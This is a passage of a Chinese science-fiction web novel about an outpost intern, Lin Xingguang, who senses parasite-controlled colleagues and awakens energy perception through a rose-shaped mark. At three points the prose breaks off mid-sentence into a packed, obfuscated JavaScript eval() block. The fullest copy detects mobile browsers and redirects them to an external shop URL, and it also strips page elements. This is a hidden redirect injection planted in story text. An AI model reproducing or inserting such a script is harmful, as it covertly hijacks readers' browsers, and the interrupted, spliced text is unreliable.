观测区的光线比前台暗一点,天花板上的灯是暖黄色的。 小苏坐在观测区的椅子上,盯着屏幕上跳动的数值,眉头皱着,没注意到林星光进来。 林星光放轻脚步走过去,把保温盒放在她旁边:“苏医生,张姐给你带的晚饭。” 小苏吓了一跳,回头看见是她,松了口气:“你怎么来了?吓我一跳。” “来看看王哥,顺便给你带饭盒。”林星光指了指桌上的纸袋子,“他还是没醒啊?” “嗯,没醒。”小苏接过保温盒,打开,里面是炒面,还冒着热气,她扒拉了一口,指着屏幕上的数值,“你看,这能量数值,一会儿高一会儿低,医疗舱的稳定液都快压不住了,奇了怪了,按理说强化系不该这么娇弱才对。” 林星光的目光落在屏幕上,一串串红色的数字跳得飞快,能量读数忽高忽低,像过山车似的,但她其实看不怎么懂。 她凑过去看屏幕上医疗舱里的王磊,他闭着眼睛,脸色苍白,嘴唇没什么血色,头发贴在额头上,看着很虚弱。 他的手放在身侧,手指微微蜷着。 就在这时,王磊的手指突然动了一下。紧接着,观测区屏幕上的红色数值猛地飙升,又瞬间跌落,医疗舱的黄灯变成了红灯,发出“嘀嘀嘀”的警报声。 小苏立刻放下饭盒,伸手按在控制面板上,快速调着参数,嘴里念叨:“又来又来,这都一天三次了,每次都是这样,指标一乱就折腾,偏偏就是不醒。” 林星光站在旁边,没说话,只是盯着屏幕上王磊的脸。他的眉头皱了起来,像是在承受什么痛苦,嘴里发出细碎的哼唧声。 过了两分钟,小苏调完参数,警报声停了,数值慢慢稳定下来。 小苏松了口气,擦了擦额头上的汗,重新拿起饭盒,扒拉着炒面,嘴里嘟囔:“这到底是怎么回事啊,再这样下去,医疗舱的稳定液都不够用了,核心区的补给还得半个月才到。” 林星光看着王磊,他又恢复了之前的样子,闭着眼睛,一动不动,仿佛刚才的动静只是错觉。她轻声问:“他每次这样,都会有动静吗?” “不一定,有时候只是数值跳,有时候会动手指,偶尔还会说胡话。”小苏嚼着炒面,含糊地说。 “那苏医生你先吃饭,我进去看看他。”林星光拿起纸袋子,“有什么需要后勤科帮忙的,随时喊我。” “好嘞,去吧去吧。”小苏挥挥手,注意力又回到了屏幕上。 林星光进去后,发现王磊的舱位旁边还坐着个人,是维修科的老刘。老刘是王磊的师傅,平时带着他干活,两人关系不错。 林星光轻轻敲了敲门。 老刘抬起头,看见是她:“小林啊,进来吧。” 林星光推门进去,把水果干放在旁边的小柜子上:“刘叔,我来看看王哥。他……怎么样了?” 老刘眼睛有点红:“还是老样子。医生说能量紊乱,其他指标都正常,就是醒不过来。说是跟普通的能量伤不一样,得慢慢观察。” 林星光走到舱位旁边,低头看着里面的王磊。 他的样子跟刚刚在观测区屏幕上看到的一样,脸色苍白。 “他这样多久了?”林星光问。 “一直这样。”老刘摇摇头,“有时候会动一下,嘴里念叨点什么,但听不清。医生说可能是能量紊乱引起的,身体在自我修复……” 林星光没说话,只是安静地看着舱里的人。 就在这时,王磊的嘴唇又动了动。这次离得近,林星光隐约听到了几个字:“……不要……走开……” 像梦呓,断断续续的。 老刘也听到了,凑过去听了听,又失望地坐回去:“还是这些,翻来覆去就这几个字。也不知道梦见什么了,一直喊不要。” 林星光点点头,没追问。 她又站了会儿,看着王磊苍白的脸,心里翻涌着各种念头。 王磊也是那天受伤的异能者之一。其他三个都出院了,活蹦乱跳的,只有他还躺在这里,昏迷不醒。 “不要”这个词,他在昏迷的时候反复念叨。他在抗拒什么吗? 林星光收回目光,看向老刘:“刘叔,你也别太担心了,王哥他身体底子好,应该会没事的。医生不是说了嘛,慢慢观察。” 老刘点点头,用手揉了揉眼睛:“但愿吧。这孩子老实,干活踏实,跟了我两年,眼看着就能出师了,结果摊上这事儿……” 林星光拍拍他的肩膀,没再多说。 “那我先走了,刘叔你多保重。” “哎,好,谢谢你啊小林。” 林星光转身走出观察区。 走廊里还是那么安静。她沿着来时的路往外走,脑子里却在转着王磊念叨的那些话。 不要……走开…… 她正想着,一拐弯,差点撞上一个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙小雅这才像回过神来,转头看了她一眼,笑了笑:“啊?哦,进去?我就不进去了,就是过来看看而已。” 说着,就突然转身,朝医疗站外走去。 林星光愣了一下:“小雅姐?” “走了。”孙小雅头也不回,丢下两个字,就出了门。 林星光愣在那儿,赶紧快步追出去。 走廊里,孙小雅已经走出去好远。 林星光没追上去。 她站在医疗站门口,看着那个背影消失在走廊尽头,心里的疑惑越来越重。 刚才那是什么情况? 孙小雅说是来看王磊的,结果就站在那儿看了不到一分钟,一句话没说,然后就走了? 她到底来看什么的? 林星光抬手摸了摸颈侧的印记,温度已经降下来一点,但还是温热的。 她深吸一口气,转身往外走。 外面的天已经暗下来了。前哨站的人造光照系统还没完全启动,通道里昏沉沉的,只有几盏应急灯亮着。 林星光沿着通道往宿舍方向走,她暂时不打算吃饭了。 脑子里乱糟糟的,王磊昏迷时念叨的“不要”,孙小雅站在舱位前那个空洞的眼神,还有那三个人申领高浓度补充剂的记录…… 这些碎片搅在一起,理不出个头绪。 她加快脚步,想赶紧回宿舍。 走到宿舍门口,刚要掏钥匙,余光忽然瞥见走廊尽头有个身影一闪而过。 她猛地转头。 走廊尽头空空荡荡的,什么都没有。 林星光盯着那儿看了几秒,确定没人,才打开门进去。 反锁门,打开灯,她靠在门板上,长长地吐出一口气。 是不是自己太疑神疑鬼了? 她摇摇头,走到书桌前坐下,闭上眼睛,把今天的事一件件过了一遍。 早上李文主动坐过来一起吃早饭,让她帮忙留意监控。 上午整理物资申领记录,发现三个人都申领了高浓度补充剂。 紧接着孙小雅来后勤科领办公用品,靠近时印记发烫,胸闷。 然后就是刚才在医疗站,孙小雅说去看王磊,结果就站在那儿看了不到一分钟,什么都没说就走了。 还有王磊昏迷时念叨的“不要”…… 林星光睁开眼睛。 她在医疗站的时候,孙小雅站在舱位前看王磊时那个眼神,不像是在看一个同事,更像是在看一个……东西。 不是人,是东西。 林星光打了个寒颤。 是不是有什么东西,在操控着他们,让他们去能量接收塔,让他们申领高浓度补充剂,让他们…… 靠近自己? 林星光的心跳又快了起来。 今天孙小雅主动靠近她,李文主动坐过来跟她一起吃早饭。 他们想干什么? 或者说,那个东西,想干什么? 11. 塔下试探 宿舍里的灯开着,林星光靠在椅背上,一时间思绪万千。 想了半天,总觉得有什么东西在暗处盯着,像蛇,凉飕飕的,甩都甩不掉。 正想着,放在桌角的终端突然震了一下,屏幕亮起来,跳出来老陈的通讯请求,还有一行字:速到后勤仓库领检修物资,跟我去能量塔清点,塔要检修了。 林星光心里咯噔一下。 能量塔。 怎么偏偏是那里。 手指点下接听,老陈的大嗓门立刻传出来:“小林?看到消息没?赶紧的,仓库老张都把东西备好了,就等你过来,磨磨蹭蹭的干啥呢?” “陈叔,我刚回宿舍,马上就来。”她压下心里的抵触,声音还是一副软乎乎的样子。 “快点快点,别让大家等你。”老陈挂了通讯,终端屏幕又暗下去。 林星光靠在椅背上,长长吐了口气。 前哨站就这点不好,尤其是她这种没背景没异能的实习生。老陈是后勤科的老人,他的话她不能不听,更何况是站长安排的检修工作,推三阻四只会惹人怀疑。 林星光起身,扯了扯工装的衣领,确认颈侧的蔷薇印记被遮得严严实实,才拉开宿舍门。 走廊里的灯是夜间模式,昏黄的,隔老远才亮一盏。她脚步放轻,眼睛扫着两侧的宿舍门,耳朵也支棱着,听着周围的动静。 没什么奇怪的声音。 所有人的宿舍都在这个片区,赵锐、李文、孙小雅的也在,她不知道他们在不在。她暂时也不知道她到底想不想碰到他们。 不过,一路走到后勤仓库,都没碰到半个人。 仓库的门敞着,老张蹲在地上,正把一堆扳手、螺丝往包里塞,老陈靠在物资小车上,还是叼着根没点燃的烟,脚边放着两个大纸箱,估计就是检修用的东西了。 “可算来了,磨叽半天。”老陈看见我,把烟从嘴里拿下来,揣进兜里,“赶紧搭把手,把箱子搬上车,早弄完早回去歇着。” “好嘞。” 林星光应了一声,走过去,弯腰搬起一个纸箱,不重,但在老陈眼里估计这就是实习生该干的工作。 她把箱子搬上物资车,又去搬另一个,老张抬头看了她一眼,嘟囔了一句:“这能量塔修八百遍了,核心区也不发个新的来,净让我们凑活。” “可不是嘛,这破塔,隔三差五就出问题。”老陈应和着,推着物资车往外走,“走了走了,别在这儿废话了。” 林星光跟在后面,手搭在物资车的扶手上。 仓库到能量塔的路,要穿过大半个培育区,沿途都是种着太空薯和改良麦的培育池,叶子蔫蔫的,在风里晃悠,发出沙沙的响。 路上老陈一直絮叨,一会儿抱怨核心区的物资补给慢,一会儿骂站长抠门,检修的经费都舍不得批,她就嗯嗯啊啊地应着,偶尔插一两句“陈叔您辛苦”“确实应该跟站长反映反映”,心思却并不在这上面。 毕竟老陈这种牢骚,她已经见怪不怪了。一想到如果转正了,可能会听很多年的抱怨,林星光一时都不知道要不要申请转正了。 培育区的灯大多关着,只有安全指示灯亮着,绿莹莹的,照在培育池的玻璃壁上,映出一片片扭曲的影子。她时不时抬眼扫一圈,没看到人影,也没感觉到那股奇怪的胸闷感,颈侧的印记安安静静的,只有一点淡淡的温热。 她心里稍微松了点。 走了大概十分钟,远远就看到了能量接收塔。 还是那副样子,像个放大了几百倍的蘑菇,碟形的天线顶在上面,对着黑沉沉的夜空。塔身是银灰色的金属,沾着星际尘埃,在微弱的光线下,泛着冷硬的光。 塔基周围的地面,还是能看到那些被清理过的痕迹。金属地面上,留着一道道焦黑的纹路,从中心往四周散,隐在阴影里。 就是这里。 那晚她被那道白光砸中,差点死在这儿。也是在这里,第一次看到那双金色的眼睛。 脚步走到塔基附近,林星光下意识地放慢了速度。颈侧的蔷薇印记,突然轻轻跳了一下,像脉搏一样,一下就没了。 怎么回事? 林星光心里一紧,抬眼看向塔基,老陈已经推着物资车走到塔门旁边,正弯腰去开舱门,嘴里还在骂:“这破门,又卡了。” 她走过去,帮他扶着舱门,目光却落在了焦纹上。 那些纹路的缝隙里,隐隐有什么东西在闪,看起来是一种淡蓝色的微光,不仔细看根本发现不了。 林星光往前走了半步,蹲下身,手指慢慢伸过去,想碰一下那道闪着微光的焦纹。 指尖离焦纹还有一厘米的时候,就感觉到一股有些熟悉的凉意,顺着指尖往上窜,像侵略性的冰,刺得指尖发麻。 她摒住呼吸,没停手,还是把指尖贴了上去。 下一秒,刺痛感猛地传来。 仿佛有什么东西顺着指尖钻进血管,麻酥酥的,又带着点灼痛,直往心口窜。 糟了。 她下意识地想缩手,却发现指尖像被粘住了似的,贴在焦纹上,挪不开。 与此同时,颈侧的蔷薇印记,突然炸开一股滚烫的热,像有一团火在皮肤下面烧起来,灼得她脖子一阵刺痛,连带着太阳穴都突突地跳。 “嘶——”林星光忍不住倒吸一口凉气,猛地用力,把指尖从焦纹上扯了下来。 指尖和平时没什么两样,但那股电流似的刺痛感,还残留在指尖上,迟迟不散。 她直起身,衣领蹭过发烫的印记,更疼了。 林星光咬着牙,把那点闷哼咽进肚子里。 “干啥呢?蹲那儿半天,跟个木头似的。”老陈的声音从身后传来,他已经打开了塔门,正把物资车往里面推,“赶紧过来搭把手,清点完了还得登记,麻烦得很。” “来了。”她应了一声,转过身,脸上已经挂起了笑,“刚才以为地上有颗螺丝,打算捡起来看了看,结果看错了。” 老陈瞥了林星光一眼,没怀疑,摆摆手:“别管那些闲事,赶紧搬东西。” 她走过去,把物资车推到塔内的检修区。塔里面比外面更冷,检修区的灯亮着,白花花的,照在地上,映出他们两个的影子,拉得长长的。 能量塔内部的结构很简单,一层是检修区,堆着各种旧配件,二层是操控室,三层是能量接收核心,这次检修主要是检查一层的线路和塔基的固定装置,有点琐碎。 老陈拿出清点册,坐在旁边的金属凳上,让她挨个点物资,报给他记录。 林星光点点头,开始一箱一箱地拆,报着配件的名称和数量:“六角扳手五个,十字扳手三个,高压线路十米,固定螺栓二十个……” 老陈趴在清点册上,写写画画,字迹歪歪扭扭的,嘴里还在念叨:“核心区也真是,发的螺栓都是次品,我们这边可是前哨站呢,次品怎么用嘛……” 林星光一边报,一边用余光扫着塔外的情况,塔门没关,留着一条缝,能看到塔基的焦纹,还有外面黑沉沉的培育区。颈侧的印记还在发烫,只是比刚才稍微缓和了点,指尖的刺痛感也慢慢散了,只剩下一点麻木。 那焦纹里的淡蓝光,绝对有问题。 那到底是什么?是那个寄生体的残留能量?还是别的什么? 蔷薇现在还是没动静,只有这发烫的印记,仿佛是在提醒她。 正想着,外面突然传来一阵脚步声。脚步很重,踩在金属地面上,发出嗒嗒的响,还有对讲机的滋滋声。 林星光的心跳猛地漏了一拍,手里的东西掉在地上,发出清脆的响。 “咋了?毛手毛脚的。”老陈抬头瞪了她一眼,“干活能不能专心点?” 她没说话,飞快地捡起地上的东西,塞进箱子里。那股熟悉的胸闷感,悄无声息地涌了上来。 是他们中的一个。 林星光屏住呼吸,听着外面的动静。 脚步声停在了塔门口,然后一个男声传进来,有点粗哑,是赵锐的声音:“陈叔?你们在里面吗?防卫队例行安全巡查,检查一下能量塔周边的安保情况。” 果然是他,赵锐。 林星光心下一紧。 老陈已经站起身,走到塔门口,拉开门,不耐烦地说:“这塔马上要检修了,维修科的人等下就来,我们马上就走,有什么好查的?” 林星光跟在老陈身后,站在他侧后方,抬眼看向门口的赵锐。 他穿着防卫队的黑色工装,袖口挽到手肘,露出结实的小臂,肌肉线条绷着,比她上次见他的时候,好像更壮了点。他手里拿着对讲机,目光扫过老陈,最后落在林星光身上,顿了一下,又很快移开,嘴角扯出一点笑:“陈叔,规矩嘛,站长说了,最近能量塔周边不太平,让我们防卫队多巡查几遍,以防万一。” “能有什么万一?净瞎折腾。”听到赵锐提起站长,老陈撇撇嘴,往旁边让了让,“要查就查,别挡着我们清点物资,忙得很。” 赵锐走进来,目光又不自觉地往林星光这边瞥。 林星光没有闪躲,露出个她惯常的笑容:“赵哥好。” 他的身上,那股能量波动,好像比李文和孙小雅的更强烈。靠近的瞬间,颈侧的印记烫得林星光快要忍不住皱眉,胸也闷得仿佛要喘不过气来。 “小林也在啊,”赵锐走到检修区,查看架子上的旧配件,目光却总往林星光这边飘,“听说你前几天也被能量波扫到了,没事了吧?” “没事了,谢谢赵哥关心,就一点小擦伤。”林星光露出一点笑,眉眼弯弯的。 “没事就好。”赵锐笑了笑,他又往前走了两步,离她更近了,“这能量塔的检修工作挺辛苦的,你一个小姑娘,怎么还让你过来干这个?后勤科没人了?” 他的声音就在耳边,带着一股淡淡的汗味,林星光下意识地往旁边挪了挪。老陈刚好转过身,把清点册往桌上一拍:“没人?可不是没人嘛,核心区不批人,前哨站就这点人手,不干咋办?总不能让我一个人干吧?” 老陈的抱怨刚好打断了赵锐的话,也隔开了他跟林星光之间的距离。 她松了口气,趁机走到物资车旁边,去拿另一箱配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着,他就伸手去搬林星光刚放下的箱子,往检修区走。 林星光心里一紧,意识到赵锐应该是故意的。 老陈倒是没多想,只要有人能干活他能偷懒,他就很好说话:“行啊,那谢了啊小赵,还是你们异能者力气大。” 赵锐搬着箱子,走到林星光旁边,假装不小心,胳膊肘碰了她一下。 他的胳膊很硬,碰在林星光的胳膊上,她感觉像撞在冰山上,有点疼,也有点冷。 但她来不及说什么,颈侧的蔷薇印记,突然炸开一股更强烈的热。同时,一股淡淡的暖意,从印记里涌出来,顺着血管流到胳膊上,刚才被他碰到的地方,那股冰冷的感觉,瞬间被驱散了。 是蔷薇。 林星光心里一顿。 他又在替自己挡开那股冰冷的能量吗?明明是个连虚影都维持不了的家伙,现在更是连话都不能说了。 赵锐碰了林星光一下,见他没什么反应,愣了一下,眼里闪过一丝疑惑。 他没再继续,把箱子放在地上,开始帮老陈拆箱,嘴里还在跟老陈闲聊,目光却时不时落在林星光身上,带着探究。 林星光没再跟他有任何接触,刻意跟他保持着距离,他往东,她就往西,他靠近,她就假装去另一边清点。 老陈坐在中间登记,像个天然的屏障,隔开了他们两人。 赵锐尝试了几次,都没找到单独跟她接触的机会,眼神里露出了一点不耐烦。 他在塔内待了大概十分钟,帮着搬了几箱东西,看实在没机会不动声色地靠近林星光,只能作罢,跟老陈说:“陈叔,我那边还有巡查任务,就不帮你们了,我先走了,你们忙。” “行,慢走啊,谢了啊小赵。” 赵锐点点头,转身往塔外走,走到门口的时候,他停下脚步,回头看了林星光一眼。那眼神里,只剩下冰冷的探究。 林星光迎着他的目光,脸上带着笑,眉眼弯弯的,仿佛对他的想法一无所知。 直到赵锐的身影彻底消失在阴影里,林星光那股胸闷感才慢慢散去。颈侧的印记,也一点点降温,从滚烫变回温热,像最初那样,贴在皮肤上,轻轻跳动着。 她轻轻地吐了口气,后背的衣服,已经被冷汗浸湿了。 “这小子,刚来的时候还挺热情,走的时候咋蔫蔫的。”老陈抬起头,看人走远了,才开始嘟囔,“年轻人就是沉不住气,干点活就不耐烦。” 林星光没接话,走到塔门口,往外面看了看。 赵锐走了,但肯定没走远,说不定就在哪个阴影里,盯着这里。 他的异能变强了,攻击性好像也更强了。 之前只是试探,下次,说不定就是直接动手了。 她转过身,对着老陈笑了笑:“陈叔,我们赶紧清点吧,早点弄完早点回去。” “可不是?我早就说了,你赶紧的。” 12. 精神力碰触 检修完毕,林星光帮着老陈把最后一箱配件搬回后勤仓库时,天边已经彻底沉了下去,前哨站的人造照明系统全部启动,昏黄的光看起来有那么几分暖意。 老张还等着他们,此刻正蹲在地上核对物资,嘴里也碎碎念核心区分配过来的物资质量差。 老陈靠在墙上抽烟,没点燃,就叼在嘴里磨。一副熬完活终于能歇着的疲惫模样,丝毫看不出他之前也跟林星光抱怨了一路核心区。 林星光站在一旁,等着老张核对完。她的指尖似乎还残留着触碰能量塔焦纹的麻木感,颈侧的蔷薇印记温温的,轻轻贴着皮肤跳,和她的心跳慢慢合着频。 “签了字就完事了。”老张让老陈签完字,又把清点册推到林星光面前,“今天辛苦你了,小姑娘家家的跟着跑前跑后,老陈也不知道心疼人。” 老陈翻了个白眼,没接话。 林星光笑着接过清点册跟笔,拔开笔帽,一笔一划地在老陈的签名边上签上名字。 “应该的,张叔陈叔也辛苦。”她把清点册叠好,放进后勤科的档案柜,“那我先回宿舍了,明天还有仓储区的物资要盘。” “走吧走吧。”老陈挥挥手,眼睛都快眯起来了,“明早别迟到。” 林星光应了声,转身走出仓库。 夜晚前哨站的通道里的几乎没有人,也就不会突然有人出来和她打招呼。但林星光照旧弯着眉眼笑着,只是眼底的倦意没藏住,连嘴角上扬的弧度都比平时淡了点。 不过因为没碰到人,所以就没人发现这个向来讨喜的小林,后背的工装已经被冷汗浸出了一小块湿痕,也没人发现她走在路上时,总下意识地用眼角余光扫着周身的动静,耳朵支棱着,捕捉着周围每一点细微的声响。 赵锐的身影没再出现,可那股冰冷的能量气息,却一直留在林星光的脑海中,让她挥之不去。 他刚才在能量塔里的眼神,探究里藏着侵略,胳膊肘碰到她时的那份冲击,还有那股莫名暴涨的异能气息,都在提醒林星光,她的处境越来越不妙了。 她路过环境维护科的门口,门关着,窗户黑漆漆的,李文应该不在。通讯科的方向也静悄悄的,孙小雅的工位在观测台,这个点应该是回宿舍了。 林星光的脚步顿了顿,颈侧的印记没发烫,也没跳,看来这两人此刻离得远。 她加快脚步,往宿舍区走。 宿舍区的走廊也同样安静,大多是人已经回了屋,门关得严严实实,偶尔有终端的声音从门缝里漏出来,断断续续的。 林星光走到自己的宿舍门口,先抬头看了眼走廊的监控,又不动声色地前后扫了一圈,确认没人,才开门,进去的瞬间反手扣上。 咔哒一声,门被反锁上的声音,在安静的房间里格外清晰。 直到这时,她才彻底卸下了那副挂了一整天的笑脸。 靠在冰冷的金属门板上,林星光长长地吐出一口气,肩膀垮下来,浑身的力气像是被抽干了一样。 今天一整天,神经都绷得紧紧的,像拉满的弓弦,稍一用力就会断。 她抬手,指尖又习惯性地碰了碰颈侧的蔷薇印记。 还是温的,和周围的皮肤差不多。印记微微跳动,一下,又一下,像初生的嫩芽在土里轻轻顶,微弱,却又带着清晰的生命力。 蔷薇还在,它的能量不足,连虚影都凝不出来,却还是在她碰到焦纹、被赵锐靠近时,释放能量驱散那些冰冷的气息。 林星光的心里泛起一点说不清道不明的滋味。 她扶着门板,慢慢滑坐在地上,膝盖抵着胸口,双手环着腿,就那么安静地坐了几分钟。 宿舍里没开灯,只有窗外的光透过窗帘的缝隙钻进来。 她看着那束光,脑子里把今天的事一件件过了一遍。 她心里隐隐约约地明了,那个不明生命体,在操控着赵锐他们三个接近自己。 林星光深吸一口气,撑着地板站起来,走到洗手间,按亮了镜前的小灯,昏黄的光刚好照亮镜子里的半张脸。 她伸手,把工装的衣领拉开,又把里面的打底衫扯了扯,把颈侧那枚蔷薇印记完完整整地露出来。 淡粉色的花瓣,层层叠叠,边缘泛着极淡的光泽,像沾了一点细碎的星光。指尖碰上去,温热的触感从皮肤传来,跟周围皮肤的温度差不多。她的指尖能清晰地感受到那微弱的跳动,又轻,又慢,又很坚定。 起初她试过用冷水冲,用卸妆水擦,甚至用指甲抠。现在,她只是轻轻摸了两下。 她想起蔷薇第一次凝出虚影时说的话,说她是载体,说赵锐他们是燃料,说那个生命体还在,会再次锁定她。 那时候她还抱着怀疑的心思,可现在,她真切地感受到了危险,也真切地感受到了这枚印记中那股微弱的能量。 在能量塔里,赵锐的胳膊肘撞过来的时候,一股冰冷的能量顺着接触的地方往她身体里钻。那股能量带着侵略性,像冰锥一样,刺得她胳膊发麻。可就在那一瞬间,颈侧的印记突然炸开一股滚烫的暖意,顺着血管流到胳膊上,硬生生把那股冰冷的能量挡了回去,连带着那股发麻的感觉都消失了。 林星光盯着镜子里的印记看了一会儿,然后闭上眼睛,深吸一口气,强迫自己的心神静下来,摈除所有的杂念,脑子里只剩下颈侧的那枚蔷薇印记。 她将指尖轻轻贴在印记上,然后试着把自己的意识,顺着指尖,往那枚印记里探。 不太容易,因为她的思绪总是无意识地跑偏,好久之后才有一点点进展。 一开始,什么感觉都没有。 就像沉在一片黑暗里,摸不到边,碰不到东西,只有指尖下那股温热的触感真实存在。 林星光没有放弃,她耐着性子,一点点地试探,把意识放得更轻,更柔,像一缕烟,慢慢往印记里飘。 她非常有耐心,能为了一个小小的实习名额,连续三个月每天只睡四个小时,做好各种准备;能为了在人前维持那个乖巧讨喜的样子,十几年如一日地练习笑容,控制情绪。 这点困难,对她来说,不算什么。 时间一分一秒地过去,指尖下的印记依旧温热,依旧轻轻跳动着。 就在林星光觉得可能是自己想多了的时候,指尖下突然传来一丝微弱的牵引。 那牵引像一根细丝线,轻轻拉着她的意识,往印记里走。 林星光的心跳猛地漏了一拍,又一次摒住了呼吸,不敢有丝毫的动作,只是顺着那股牵引,把自己的意识,一点点地探了进去。 进入的瞬间,温暖的能量突然从印记里涌出来,顺着她的指尖,流进她的脑海,再顺着脑海,流遍她的全身。 那股能量很柔和,也很纯粹,像春日里的阳光,洒在冻僵的身上,一点点化开寒意,又像山间的清泉,流过干涸的土地,滋润着每一个角落。 林星光的身体轻轻颤了一下,闭上眼睛,细细感受着这股能量的流动。 浑身的紧绷感消失了,后背的凉意也散了,连白天在能量塔里积攒的疲惫,都被这股温暖的能量抚平了。 整个人都变得轻飘飘的,像踩在棉花上,却又无比清醒。 这股温暖的能量,和孙小雅、李文、赵锐身上的冰冷能量,是完全不同的存在。温暖的能量带着生机,带着善意,而那冰冷的能量,带着侵略性,像附骨之疽,让人浑身不适。 这就是蔷薇的能量吗? 林星光的意识沉浸在这股温暖的能量里,过了很久,才慢慢回过神来。她没有收回自己的意识,依旧让它和那股能量保持着连接,然后,她试着睁开眼睛。 睁眼后看到的一切,好像变得不一样了。 她居然能从周围的物体上看到一种淡淡的流动的光。 她走出洗手间,看向宿舍里的书桌,桌面上的书本、台灯、终端,都裹着一层极淡的白光,微弱又平稳;她看向墙角的绿植,那是她从培育区捡的一株小的光绒菜,本来快枯萎了,被她养在杯子里,现在它的身上裹着一层淡绿色的光,轻轻跳动着,像是它微弱的生机;她看向自己的手,手上也裹着一层淡淡的白光。 这就是能量? 林星光的心里掀起了惊涛骇浪,但强迫自己保持冷静。 她试着将这刚觉醒的感知往外延伸,不用肉眼,就用这感知去捕捉到宿舍里的能量分布。 接着,她把感知往门外探去。 隔壁刘姐的宿舍里,透出一层平稳的淡白光,那是普通人的能量,和她手上的白光差不多。 再往走廊中间看,几间宿舍里都透出淡白光,有强有弱,都很平稳,带着鲜活的气息,没有一丝之前感受到的冰冷感。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199972|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,林星光的感知顿住了。 走廊尽头的方向,有一股黑色能量,正顺着走廊慢慢靠近。 那股黑色能量,浓郁、冰冷又暗沉,像一团化不开的墨,所过之处,周围的淡白光都像是被压制了,微微晃动,变得黯淡。 是他! 赵锐! 林星光的心脏猛地缩紧,强烈的危机感涌上心头,她下意识地往后退了一步,撞到了身后的书桌。桌上的终端被碰倒,发出一声轻响,她却顾不上扶。 她飞快地把屋里的灯全部关掉,然后靠在门板上,屏住呼吸,调动着刚刚的感知,紧紧盯着那股黑色能量的动向。 宿舍里瞬间陷入了昏暗。一丝光都没有,所以没人看见她苍白的脸,也没人看见她颈侧的蔷薇印记,泛着一点极淡的粉色光泽。 发烫的感觉又冒了出来,像是在呼应她的紧张,也像是在提醒她危险的临近。 林星光的手心冒汗,手指紧紧攥着,指甲嵌进掌心,传来尖锐的疼,却让她更加清醒。 那股黑色的冰冷能量,已经到了她的宿舍门口。 隔着一道门板,冰冷的气息仿佛透过缝隙钻进来,让她浑身的鸡皮疙瘩都竖了起来。 胸闷的感觉再次涌上来,像有一只冰冷的手,攥住了她的心脏,让她喘不过气。 颈侧的蔷薇印记,从刚才起一直维持着滚烫的温度,温暖的能量从印记里涌出来,包裹着她的心脏,抵消了那股冰冷的压迫感,让她能勉强呼吸。 是蔷薇在帮她吗? 林星光的心里有些酸涩。 她之前对此一无所知,但现在却能感觉到,蔷薇印记涌出来的能量在快速消耗。颈侧的跳动变得微弱了一点,那股滚烫的温度,也在慢慢下降。 她屏住呼吸,听着门外的动静。 门板外,没有脚步声,没有敲门声,只有一丝呼吸声透过门缝传进来,粗重,低沉,是男人的呼吸声。 赵锐就站在她的宿舍门口,不知道在干什么。 他想干什么? 林星光的脑子飞快地转着,也猜不出对方的意图。 但她知道,赵锐现在还不会破门而入。 绿源-III虽然是远离核心区的前哨站,却也是有规矩的。私自闯入别人的宿舍,肯定要被记过,更何况赵锐是防卫队的人,他不敢明目张胆地违反规矩,除非他有能力违抗前哨站的规矩。 所以,他现在只是在试探,在观察,像一头伺机而动的野兽,等着最佳的动手时机。 时间一分一秒地过去,门外的呼吸声一直没断,那股冰冷的黑色能量,也一直停在门口,没有离开。 林星光靠在门板上,腿已经有点麻了,却不敢动一下。 她不知道这种对峙要持续多久,也不知道赵锐什么时候会离开,更不知道下一次,他会用什么方式试探她。 她只知道,自己不能再这样下去了。 蔷薇的能量有限,保护不了她一辈子,她必须自己变强。 否则,她迟早会成为那个生命体的养料,和蔷薇一起,彻底消失在这宇宙里。 又过了大概十分钟,门外的呼吸声突然消失了。那股冰冷的黑色能量,也开始慢慢往后退,顺着走廊,往尽头的方向走,一点点消失在林星光的感知里。 林星光依旧靠在门板上,不敢动。直到那股黑色能量彻底消失,走廊里只剩下平稳的淡白光,她才慢慢松了口气。她腿一软,顺着门板滑坐在地上,大口大口地喘着气。 颈侧的蔷薇印记,温度已经降回了平时的温热,跳动也变得微弱了,像是耗尽了所有的力气,陷入了更深的沉睡。 林星光抬手,轻轻摸了摸颈侧的印记,指尖的触感温热。 “谢谢你。” 没有回应。 印记依旧安安静静地贴在她的皮肤上。 林星光坐在地上,喘了很久,才慢慢缓过劲来。她扶着门板站起来,走到镜子前,拉开衣领,看着颈侧的印记。 淡粉色的花瓣,依旧清晰,只是那层极淡的光泽,变得黯淡了一点。 她的目光落在镜子里的自己身上,天生的笑唇,眉眼弯弯。脸色苍白,眼神里带着未散的惊惧,看起来没什么攻击性,还是那个前哨站里乖巧讨喜的小林。 可她自己知道,她的内心,已经发生了变化。 13. 夜巡排班 林星光不知道自己是怎么睡着的。 她只记得自己在床上和衣躺着,眼睛盯着天花板,脑子里一遍遍过着那些乱七八糟的画面。 后来,大概是累极了,意识终于断线。 再睁眼的时候,前哨站的早晨已经来了。 林星光躺着没动,先竖起耳朵听周围的动静。走廊里有人在走动,脚步匆匆的,是赶早班的人。隔壁刘姐的房门开了又关上,传来她跟熟人打招呼的声音,一切如常。 